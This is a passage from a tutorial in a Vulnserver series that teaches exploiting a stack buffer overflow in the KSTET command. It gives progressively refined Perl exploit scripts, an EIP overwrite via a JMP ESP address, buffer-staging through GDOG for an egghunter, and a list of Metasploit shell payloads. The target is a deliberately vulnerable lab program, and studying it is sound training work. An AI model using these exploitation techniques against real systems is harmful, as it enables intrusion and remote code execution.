This tutorial will cover the process of writing a buffer overflow exploit for a known vulnerability in the Vulnserver application. This is the fifth article in the Vulnserver series.

Vulnserver is a Windows server application that deliberately includes a number of exploitable buffer overflow vulnerabilities, and was designed to act as a target application to teach and practice basic fuzzing, debugging and exploitation skills. More information on Vulnserver, including a download link, is available here: http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html or here.

This tutorial covers how to confirm that a particular stack based overflow vulnerability is exploitable, as well as how to actually develop the exploit. The process of initially discovering vulnerabilities however is not covered in this tutorial. To learn one method by which such vulnerabilities can actually be discovered, you can check out a previous Vulnserver related article on fuzzing, available here:

This tutorial will also assume that the reader has a reasonable level of skill in using the OllyDbg or Immunity Debugger debugging applications, as well as a basic knowledge of X86 assembly language. For those who are new to these debuggers, or who may feel they need a refresher in assembly, the required skills are covered in the following links:

Lastly, you will require a basic knowledge of how stack based buffer overflows are exploited. The particular exploit we will be covering in this article requires the use of some slightly more advanced debugger skills and exploitation techniques, and was written in order to build upon exploitation skills already taught in previous entries in this series of articles. You can read about how to exploit basic stack based overflows in the following article:

The remaining entry in the Vulnserver series, which ideally should also be read before continuing, is available here: http://resources.infosecinstitute.com/seh-exploit/

System requirements and setup

The following software is required to follow along with this tutorial:

  • A 32 bit Windows System. I would suggest sticking to reasonably recent windows desktop systems such as Windows XP SP2 and up, Windows Vista or Windows 7, as these are the systems that I have personally tested. Windows 2000 desktop and server based systems may also work, but there are no guarantees.
  • Vulnserver on your Windows system. You can obtain information about the program (which should be read before use) and download it from here: http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html
  • OllyDbg 1.10 on your Windows system. You can also use Immunity Debugger if you prefer, but just keep in mind your screenshots will appear slightly different to mine, and certain steps in this tutorial regarding OllyDbg plugins may not be able to be performed. OllyDbg can be obtained here: http://www.ollydbg.de/
  • An instance of the Perl script interpreter. You can run this on either your Windows machine or on a Linux attacking system. Linux systems should already have Perl preinstalled, but if you want to run it on windows you can obtain a Perl install for free from here: http://www.activestate.com/activeperl
  • A recently updated copy of Metasploit 4. You can again run this on either your Windows machine or on a Linux attacking system, although I recommend running it on a Linux system. See the following paragraphs for more detail. Metasploit can be obtained for Windows and Linux from here: http://www.metasploit.com/
  • A copy of netcat. Most Linux systems should already have one installed, you can grab a Windows version from here: http://joncraton.org/blog/46
  • If you want to assemble the shellcode that is written in this article, you will also need an installed copy of nasm from here: http://www.nasm.us/. This is only used in one small part or this tutorial however, and can be considered optional. If you intend to regularly be writing exploits however, nasm will definitely be something you should have in your toolkit.

My personal setup while writing this tutorial was to execute Metasploit commands and run my exploit Perl scripts from a Linux Host system running Ubuntu, with Vulnserver running in a Windows XP SP2 Virtual Machine. This means that command syntax provided in this document will be for Linux systems, so if you are following along on Windows you will have to modify your commands as appropriate. I have chosen to run Metasploit and Perl from Linux because components of the Metasploit framework can be broken by many of the common Anti Virus solutions commonly installed on Windows systems.

If your Windows system is running a firewall or HIPS (Host Intrusion Prevention System), you may need to allow the appropriate traffic and disable certain protection features in order to follow this tutorial. We will be creating an exploit that makes Vulnserver listen for shell sessions on a newly bound TCP port, and firewalls and possibly HIPS software may prevent this from working. Certain HIPS software may also implement ASLR, which could also be problematic. Discussing firewall and HIPS bypass techniques is a little beyond the scope of this tutorial, so configure these appropriately so they don’t get in the way.

I am also assuming for the purposes of this tutorial that your Windows system will not have hardware DEP enabled for all programs. The default setting for Windows XP, Windows Vista and Windows 7 is to enable hardware DEP for essential Windows programs and services only, so unless you have specifically changed your DEP settings your system should already be configured appropriately. See the following links for more information:

My Windows Vulnserver system will be listening on the address 192.168.56.101 TCP port 9999, so this is the target address that I will use when running my Perl scripts. Make sure you replace this with the appropriate values if your Vulnserver instance is running elsewhere.

A note about using different Windows Operating Systems versions:

Be aware that if you are using a different version of Windows to run Vulnserver than the Windows XP Service Pack 2 system I am using, some of the values you will need to use when sizing the buffers in your exploits may differ from mine. Just ensure that you are following the process I use in determining buffer sizes, rather than copying the exact values I use, and you should be fine. I have indicated in the tutorial the areas in which you need to be concerned about this.

Overview of the Process

We will be using the following high level exploitation process in order to take control of this program:

  • Get control of the EIP register which controls which code is executed by the CPU, setting it to a value of our choosing,
  • Identify some code that will fulfil our goals for the exploit, and either find it on the target system or insert it into the program ourselves using the exploit, and
  • Redirect EIP towards our chosen code.

As in the previous article in this series on exploiting buffer overflows (see the links in the Introduction), this list of requirements acts as both the steps required to actually write the exploit, as well as determining if the vulnerability is exploitable. We will assess the given vulnerability to determine if these particular steps are possible, and once this is confirmed we will know that exploitation is possible and be well on our way to producing a working exploit. Those who are paying attention will note that the exploitation process described above has not changed at all from the previous entries in the series. Even as the exploits themselves become more complicated, the general steps for performing them essentially remain the same. It is only the techniques used in actually taking these steps that will change.

As mentioned during the Introduction, you should already be somewhat familiar with the general way in which buffer overflow exploits are written before you attempt this tutorial. The particular vulnerability we will be looking at today requires the use of a new technique in order to produce a working exploit. Implementing this new technique, and determining when using this technique might be useful will be the main focus of this tutorial. While I will still make reference to the basic exploitation techniques covered in the earlier articles in this series, I wont cover them in as much detail as I have done previously, so if you are confused by any of the initial steps in this article, please take the time to review the previous entries in this series. As previously mentioned, links are provided in the Introduction to the previous entries in this series.

Assessing the vulnerability

The vulnerability we will be attempting to exploit is a stack based buffer overflow in the parameter of the KSTET command of Vulnserver. We can trigger an exception in the program by sending a KSTET command with a parameter consisting of a long (~100 characters or more) string including at least one full stop (.) character. To demonstrate this, we can use the following script, which will send “KSTET .” followed by 1000 “A” characters (x41 in hex) to a specified IP address and port provided as command line parameters.

As we progress through the exploit development process, we will slowly modify this basic POC script into a full blown exploit. Save the following as kstet-exploit-vs.pl.

#!/usr/bin/perl
use IO::Socket;

if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORTnn"); }
$badheader = "KSTET ."; # sets variable $badheader to "KSTET ."
$baddata = "x41" x 1000; 

$socket = IO::Socket::INET->new( # setup TCP socket - $socket
    Proto => "tcp",
    PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address
    PeerPort => "$ARGV[1]" # command line variable 2 - TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

Note: You may have noticed that I mentioned that the exploitable vulnerability requires approximately 100 characters to trigger, yet I have set a buffer size of 1000 in the proof of concept exploit code above. Why did I do this? I chose a size of 1000 bytes because under normal circumstances this will provide enough slack space within the data we send to include some shellcode to take control of the system. Later on in this article however, you will see that we run into a problem with this theory.

Now Open vulnerver.exe in OllyDbg and hit F9 to let it run. Then, execute the script as follows to generate the exception within the debugger.

stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.

You should be greeted with the following in the debugger – an Access violation error will be shown at the bottom of the screen, and execution of the program will be paused within the debugger.

In this case we see that the EIP register contains a value of 41414141, a hex representation of the “A” characters we sent to the application in our POC exploit. The EIP register containing a value that looks like it has been taken from data we sent to the application is a good sign that this vulnerability is ripe for exploitation. Lets see if we can overwrite EIP with a value that allows us to redirect execution to code of our choosing.

By looking at the register values in the register pane, we can see that ESP contains an address that sits within an area of the stack containing the “A” characters we sent. You can right click on ESP and select either Follow in Dump or Follow in Stack to confirm this, or just visually compare the value of ESP (00B6FA0C in the screenshot above) with the addresses in the stack pane where the long sequence of x41 bytes reside. Given this, if we can use our control of EIP to redirect to a JMP ESP instruction, we should be able to land execution within this area of memory, where the contents are under our control. We will then attempt to replace the contents of this section of memory with code that allows us to take control of the system, and have that code executed by the CPU. You might recall that this is the process we followed in the original stack overflow article earlier in this series.

As a reminder, to have our exploit perform this “jump” we need to find out the offset within the data we send to the application where the address of EIP is overwritten, then we need to replace the four bytes starting at that offset with the address of an existing and non-changing JMP ESP instruction located within program memory. This will result in that JMP ESP instruction being executed by the CPU once the overwritten return address is loaded into EIP, which will in turn redirect execution into the area of memory whose contents we control.

First lets find the overwrite offset. As before, we will do this using the pattern_create.rb tool from Metasploit. First we use the tool to create a unique pattern of the appropriate length, 1000 bytes in this case.

Note: Your Metasploit install path might be different than the one I have specified in the command line below. Modify the command as needed to point to the correct location of the pattern_create.rb executable, which should sit in the tools subdirectory in the Metasploit install path. Also, be aware that I have removed some of the output below for the sake of readibility. The output you see will be a little larger..

stephen@lion:~/Vulnserver$ /opt/metasploit3/msf3/tools/pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9
[SNIP]
e3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Then we edit our exploit to send the pattern to the application. In the code below I have broken my pattern up into sub strings before adding it, to make the below more readable, however you can feel free to add it in one big string

#!/usr/bin/perl
use IO::Socket;

if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORTnn"); }
$badheader = "KSTET ."; # sets variable $badheader to "KSTET ."
$baddata = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A" .
c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8" .
Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai" .
8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7A" .
l8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7" .
Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar" .
7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6A" .
u7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6" .
Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba" .
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5B" .
d6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5" .
Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"; 

$socket = IO::Socket::INET->new( # setup TCP socket - $socket
    Proto => "tcp",
    PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address
    PeerPort => "$ARGV[1]" # command line variable 2 - TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

Now we restart the program in the debugger (Debug menu Restart), and allow it to run (hit F9) and then execute our modified exploit.

stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.

The exception should occur again, with EIP being set to the value shown below.

In the screenshot of the register pane shown EIP has a value of 41336341. Feeding that value into pattern_offset.rb has the following result.

stephen@lion:~/Vulnserver$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x41336341
69

This is telling us that EIP is overwritten at an offset of 69 bytes into our pattern.

Want to learn more?? The InfoSec Institute Advanced Hacking course aims to train you on how to successfully attack fully patched and hardened systems by developing your own exploits. You will how to circumvent common security controls such as DEP and ASLR, and how to get to confidential data. You take this knowledge back to your organization and can then formulate a way to defend against these sophisticated attacks. Some features of this course include:
  • Create 0day attacks as part of the Advanced Persistent Threat
  • 5 days of Intensive Hands-On Labs
  • Use fuzzers and dynamic analysis to attack custom and COTS apps
  • Reverse engineer binaries to find new vulnerabilities never discovered before
  • Attack and defeat VPNs, IDS/IPS and other security technologies

Note: Did you have a different value for EIP than the one shown in my screenshot above? Remember, its more important to follow the process I use here rather than to copy the exact results I obtained. If your value for EIP was different, feed that into the pattern_offset.rb tool instead, and use the output you receive as your offset value.

Lets modify our exploit once more to confirm that this offset value is correct. We will send 69 “A” characters to the application using our $baddata variable, followed by 4 “B” characters, then some more “C” characters to follow. If this works as intended, EIP should be set to 42424242 (the hex representation of 4 “B” characters) when the exploit runs.

#!/usr/bin/perl
use IO::Socket;

if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORTnn"); }
$badheader = "KSTET ."; # sets variable $badheader to "KSTET ."
$baddata = "A" x 69;
$baddata .= "BBBB";
$baddata .= "C" x (1000 x length($baddata));

$socket = IO::Socket::INET->new( # setup TCP socket - $socket
    Proto => "tcp",
    PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address
    PeerPort => "$ARGV[1]" # command line variable 2 - TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

Restart the program in the debugger and let it run, then execute the exploit again.

stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.

We should see something similar to the following in our debugger:

EIP has been set to 42424242, as we predicted, and if we look at the data in our stack pane, we can see “A” characters (x41) before our overwrite address and “C” characters (x43) after it. In the screenshot above, the overwrite address of 42424242 is the entry highlighted in grey in the stack pane.

Now that we know which bytes of data sent from our exploit are used to set the value of EIP, we can proceed to the next step of finding the address in memory of a “JMP ESP” instruction that we can use for the overwrite. As in the previous buffer overflow entries in this series, we will check modules included with the main program first. Please note that at the moment, we have not done anything not already covered in previous entries in the series, so I’m going through this material at a slightly faster pace than I ordinarily would for someone new to the material. If you need more detail on any of the steps at this point, please refer to the original stack overflow article.

To start searching for a “JMP ESP” instruction, in the debugger use the View menu, Executable modules option, and in the window that appears double click on the essfunc module, which according to the module path should be running from the same directory as the main vulnserver executable. The essfunc module should now be shown in the CPU view of the debugger. Right click in the disassembler pane and select Search for->Command and in the “Find Command” window that appears type “JMP ESP” (without the quotes) and hit Find. The disassembler pane should now show the address of the first “JMP ESP” instruction in the essfunc module.

The address of the instruction, as you can see in the screenshot above, is 625011AF. This address has no common bad characters (e.g. �0, �A, �D) contained within, so it should provide a good overwrite address for us to attempt to use.

Restart the program in the debugger, hit F9 to let it run and then hit Ctrl-G to bring up the “Enter expression to follow” window. Enter the address of the instruction we just found (625011AF) in the box and hit OK to take you back to this address, then hit F2 to set a breakpoint. The background of the address should turn red to indicate the breakpoint is set. This breakpoint will ensure that the debugger pauses when the CPU attempts to execute the instruction at that address.

Now lets modify our exploit to try and redirect execution to this address – see the exploit code below. In addition to adding the newly discovered “JMP ESP” address to the appropriate location in our $baddata variable, we will also add some INT3 breakpoints (xCC) into our exploit following the overwrite address, to provide a second means of pausing execution in the debugger. Also, don’t forget that due to the little endian order of the x86 processor family, we need to order the bytes of our overwrite address from least to most significant, which we can do by feeding the appropriate value into the “pack” function.

#!/usr/bin/perl
use IO::Socket;

if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORTnn"); }
$badheader = "KSTET ."; # sets variable $badheader to "KSTET ."
$baddata = "A" x 69;
$baddata .= pack('V', 0x625011AF); # JMP ESP essfunc.dll
$baddata .= "xCC" x (1000 - length($baddata)); 

$socket = IO::Socket::INET->new( # setup TCP socket - $socket
    Proto => "tcp",
    PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address
    PeerPort => "$ARGV[1]" # command line variable 2 - TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd
print "$sd"; # print $sd variable
$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

Now run the exploit.

stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.

You should hit the breakpoint you set, and hit hitting F8 should step you through to the first of the INT3 breakpoint characters sent from our exploit. We have now redirected execution into a section of the programs memory where the contents are under our control.

Its at this point in the exploit writing process where we would usually aim to replace the contents of this section of program memory with some shellcode to allow us to take control of the system. If you have been paying close attention however, you may realise that we have a problem. Despite the fact that we sent close to a thousand INT3 xCC breakpoints to this program, we are only seeing 20 of them in memory (see the screenshot above). In addition, we only have 69 usable characters before the point in our sent data where we overwrite the value of EIP. Is there any shellcode that will fit within this tiny amount of space?

To check, we can pipe the output of msfpayloads payload list command (msfpayload -l) into this perl one liner, which will execute msfpayload in summary mode for each windows “shell” payload, so we can check the shellcodes size.

stephen@lion:~/Vulnserver$ msfpayload -l | perl -nae 'if ($F[0] =~ m/windows.*/shell/){ for(`msfpayload $F[0] S`){if (m/Module|size/){s/^s*//; print}}}'
Module: payload/windows/shell/bind_ipv6_tcp
Total size: 364
Module: payload/windows/shell/bind_nonx_tcp
Total size: 201
Module: payload/windows/shell/bind_tcp
Total size: 298
Module: payload/windows/shell/find_tag
Total size: 92
Module: payload/windows/shell/reverse_http
Total size: 336
Module: payload/windows/shell/reverse_ipv6_tcp
Total size: 298
Module: payload/windows/shell/reverse_nonx_tcp
Total size: 177
Module: payload/windows/shell/reverse_ord_tcp
Total size: 93
Module: payload/windows/shell/reverse_tcp
Total size: 290
Module: payload/windows/shell/reverse_tcp_allports
Total size: 294
Module: payload/windows/shell/reverse_tcp_dns
Total size: 367
Module: payload/windows/shell_bind_tcp
Total size: 341
Module: payload/windows/shell_bind_tcp_xpfw
Total size: 529
Module: payload/windows/shell_reverse_tcp
Total size: 314
Module: payload/windows/x64/shell/bind_tcp
Total size: 467
Module: payload/windows/x64/shell/reverse_tcp
Total size: 422
Module: payload/windows/x64/shell_bind_tcp
Total size: 505
Module: payload/windows/x64/shell_reverse_tcp
Total size: 460

As you can see from the output above, there are no usable shell providing payloads that will fit within the limited buffer space that we have available. So what can we do?

Hunting for eggs

As it turns out, there is another type of shellcode that can be useful in this type of situation, where we have an exploit with extremely restricted amounts of usable space. It is referred to as egghunter shellcode, and it is essentially a very small piece of shellcode that allows you to search for a pattern within a programs memory space, and redirect execution to a location in memory immediately following that pattern. The point of this is to allow your exploit to execute shellcode (otherwise known as an “egg”) that you have secreted elsewhere in memory. To use it, you need to be able to introduce your “egg”, the shellcode that you want the egghunter to run, into program memory, and ensure that it will still be there at the time that the vulnerability you are exploiting is triggered.

The particular egghunter shellcode I normally use is 32 bytes in size, which will easily fit within the 69 bytes of usable space we have available in this exploit before the EIP overwrite address. The only remaining question is, can we find another way to insert additional shellcode into this program so that it will be present when we try to redirect to it? To see if this situation applies in the case of this particular exploit, we are going to look at the various ways that we can send data to the Vulnserver program, and see if any of these allow us to effect the contents of program memory as it exists at the time of the KSTET exception.

Now, there are a number of ways we can go about testing this. Depending on the complexity of the program, we might need to use fuzzers and automated memory analysis methods in order to enable testing all of the inputs in a reasonable time, or debug the program to see how it processes data before sending anything, in order to work out how to sneak additional data in. For example, the data we send might need to be in a certain format, or might need to match a certain pattern before it is appropriately stored. We might also need to take into consideration the fact that sending multiple pieces of data then causing the exception might provide different results than sending those same pieces of data individually and causing the exception. This could be caused by the program cleaning up older sections memory when a certain amount of data is sent to it, or because particular commands send to the application might trigger an action to deliberately clear other data. Complicated, right?

Luckily in our case, Vulnserver is quite a simple application, so to start off with we are going to just run straight at it and see what results we get by sending data to the application in each of the most obvious ways available to us, then causing the exception, and seeing what sticks. If that doesn’t work, we can keep trying, this time paying more attention to the finer details.

As a reminder of what commands are available to us for sending data to the application, we can restart the program in the debugger and query it. The output below shows me connecting to Vulnserver using netcat and sending it a “HELP” command to see what commands are supported.

stephen@lion:~/Vulnserver$ nc 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

The commands above can be used as our means of sending data to the application. We will modify our existing exploit code to run these commands, and then cause the exception, so we can check if this approach is effective in allowing us to control the contents of memory when the exception occurs.

The exploit will be modified to send 500 bytes of data to the application using each of the commands above, as well as sending that data without a command. Why 500 bytes? I picked this particular size because it is larger than the required size of the various shellcodes that we checked a moment ago, but hopefully not large enough that it will trigger off any other exceptions in this rather buggy Vulnserver application.

Another thing we must consider is that since we are sending the data from each of these commands to the application at the same time, we also need some way of determining which data is associated with which command. This is so that when we find a certain set of data in memory, we can work out which command was used to put it there. Its possible that the entire command will be left intact at the time we are looking for it, for example we might see the “STAT” command before data, indicating the STAT command was responsible for that data being present, but I don’t want to rely on that. Consequently, we will aim to achieve this goal by sending different data with each command.

In the code below I have placed each of the commands I wish to run in an array, which I then iterate through in order to process each item individually, adding a string of 500 unique characters, before finally sending that command to the application. I have also modified the $baddata variable, containing the data that causes the exception, to replace the “A” characters previously used with x90 NOP instructions, to free up the “A” character for use in this testing. You should also note that in the code below, these additional commands are sent to the application BEFORE we send the bad data that causes the crash, to allow the possibility that it will still be there when the crash occurs.

Note: I have left one command out of the array. Can you work out why? Hint, put it in and see what happens. What do you think is happening?

#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORTnn"); } 

@commands = ("", "HELP", "STATS", "RTIME", "LTIME", "SRUN", "TRUN", "GMON", "GDOG", "HTER", "LTER", "KSTAN"); # put commands in array
$char = 0x41; # set char to hex ASCII representation of "A" 

foreach $command (@commands) { # create command to send data from each command
    push @senddata, $command . " " . chr($char) x 500; # add command to new @sendata array
    print chr($char) . " - $commandn";
    $char++; # add 1 to $char, rotate to next character
} 

$badheader = "KSTET ."; # sets variable $badheader to "KSTET ."
$baddata = "x90" x 69;
$baddata .= pack('V', 0x625011AF); # JMP ESP essfunc.dll
$baddata .= "xCC" x (1000 - length($baddata)); 

$socket = IO::Socket::INET->new( # setup TCP socket - $socket
    Proto => "tcp",
    PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address
    PeerPort => "$ARGV[1]" # command line variable 2 - TCP port
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd
print "$sd"; # print $sd variable
foreach $data (@senddata) { # send commands from array to application
    $socket->send($data);
    $socket->recv($sd, 1024);
}
$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

Now restart the program in the debugger and run the exploit.

stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999
A -
B - HELP
C - STATS
D - RTIME
E - LTIME
F - SRUN
G - TRUN
H - GMON
I - GDOG
J - HTER
K - LTER
L - KSTAN
Welcome to Vulnerable Server! Enter HELP for help.

The program should pause execution in the debugger, hitting the INT3 breakpoint represented by the first of our xCC characters. Now we need to search through memory for repeating instances of the characters above, to see if any of these commands have allowed us to affect the contents of memory at the time of the exploit. For example, if we find a long string of “A” characters, then sending those characters direct to the program (e.g. NOT preceded by a command) has allowed us to set the contents of memory. If we find a long string of “B” characters, then sending data after the “HELP” command has allowed us to set the contents of memory, and so on.

To search through the programs memory for these strings, start by using the View menu, Memory option to bring up the memory map.

This window essentially shows us all of the allocated pages of memory for this particular program. OllyDbg gives us the ability to search through each of them to find a variety of different types of data. To start searching, select the first entry in the memory map window, right click and select Search, and in the window that appears enter a long string of “A” characters in the ASCII box. Selecting the first entry in the list is important as the search is performed in order from the selected entry to the entry at the bottom of the list, and if you neglect to ensure that the top entry is selected when you begin the search you will not see results from any memory page above the one you selected.

The exact length of the string of “A”s you enter in the ASCII text box doesn’t really matter, just make sure its long enough to exclude any shorter pattern of repeating “A” characters that might already exist in the program, but not longer than the 500 characters we actually sent to the application. Also, turn on the Case sensitive option, using the check box in the bottom left hand corner of the search window, to further reduce the chance of false positives.

Hit OK to start the search. You should not find any results for your search for repeating “A” characters. Now select the first entry in the memory map once more and repeat this process with the character “B”, and then the character “C”, and so on. When you search for repeating “C” characters, you should get a result, with a memory dump window opening up showing you where they appeared.

Expand the size of the window a little so you can see what appears to either side of the pattern you have found. You should see something like what is shown in the screenshot below.

As you can see, some of the data sent to the program using the “STATS” command appears to remain in memory when our exploit is triggered, and if you expand the size of the results window large enough, you will also likely see some of the data sent using the “RTIME” , “LTIME” and “SRUN” commands. The problem though, is that there only seems to be a small number of the characters following each command remaining in memory, not the whole 500 that we sent, and there certainly isn’t enough consecutive space to fit our bindshell shellcode (341 bytes) into. (You can work out the amount of repeating characters shown by subtracting the starting memory address of the string from the ending address.)

We can store this little nugget of information away for another time (perhaps it will be relevant for a future exploit…), but for the moment lets continue searching through memory to see if an uninterrupted section of memory that we can control exists. Close the dump window and hit Ctrl-L to continue the search through the rest of the processes memory space for “C” characters. You should not find any more results.

Continue on with this process using each of the characters listed in the output of the kstet-exploit.pl file, making sure that you select the first entry in the memory map each time you start searching for a new character. Keep in mind that when you search for the characters “D”, “E” and “F” you will find results relating to the “RTIME”, “LTIME” and “SRUN” commands, as we have seen in the screenshot above. Just ignore these results, as already mentioned they do not provide us with enough consecutive space to insert our shellcode.

When you get to the character “I” you should see something like the following pop up.

Expand the size of the window so you can see what is on either side of the string of “I” characters. OK, that looks good, we have a nice long string of “I” characters following the “GDOG” command. We will use this command to try and insert our final shellcode into program memory. (Although we can see the string “GDOG” here in the memory dump before the “I” characters, indicating that this was how they ended up in memory, you might also notice that the “I” character was also associated with the “GDOG” command in the command line output from the last run of our exploit code. This gives us more certainty that “GDOG” is the command we are after.)

Note: This covered a manually intensive, and quite time consuming way of finding a particular pattern in program memory. I used this method above to give you a better understanding of what we were actually doing, as well as how to use the OllyDbg memory map to search for data. Once you understand this process however, there are easier ways to achieve this same goal. One such method involves grabbing a dump of process memory, taken at the time of the exception, using a tool such as userdump (http://support.microsoft.com/kb/241215), then processing that dump file to check for the appropriate strings. This command below runs the strings tool in a loop against the process memory dump file “/tmp/share/vulnserver.bin”, then pipes the output into grep to see if a 500 character repeating string of the given character for that iteration of the loop (A through L, the same characters used in our test script) can be found. This will quickly identify the one matching string in the programs memory space. (The output below has been wrapped for readibility.)

stephen@lion:~/Vulnserver$ for a in {A..L}; do strings /tmp/share/vulnserver.bin | grep -E "$a{500,}" ; done
GDOG IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIE

Additional Note: There is a slight flaw that I have deliberately designed into the process described above, which might cause it to report false negative results under certain circumstances. Can you guess what the flaw might be, and more importantly, can you think of a way to fix it that will work universally for a number of different programs? Need a hint? The problem might have something to do with bad characters…

So now we have an additional area in memory, big enough to hold some useful shellcode, that we can control the contents of at the time of the exception. The next step is to place the appropriate shellcode into this area of memory, in such a manner that our egghunter shellcode can find it.

The Egghunter Shellcode

The particular egghunter shellcode we will be using for this exploit is the syscall egghunter code written by Matt Miller (skape). The paper describing this shellcode is available here (http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf) and C code that produces a Windows application that will generate the shellcode for you is available here (http://www.hick.org/code/skape/shellcode/win32/egghunt_syscall.c).

Since the C code above requires a Windows Visual Studio environment to allow you to compile it, I have reproduced the main function of the program in a perl script below so you don’t need to go to the trouble of installing or using Visual Studio. Save the following to disk as egghunt_syscall.pl. This essentially spits out the egghunter shellcode in a hex format suitable for pasting into an exploit, using the search value that you provide on the command line.

#!/usr/bin/perl
# Provides Matt Miller (skapes) Windows syscall egghunter in hex format
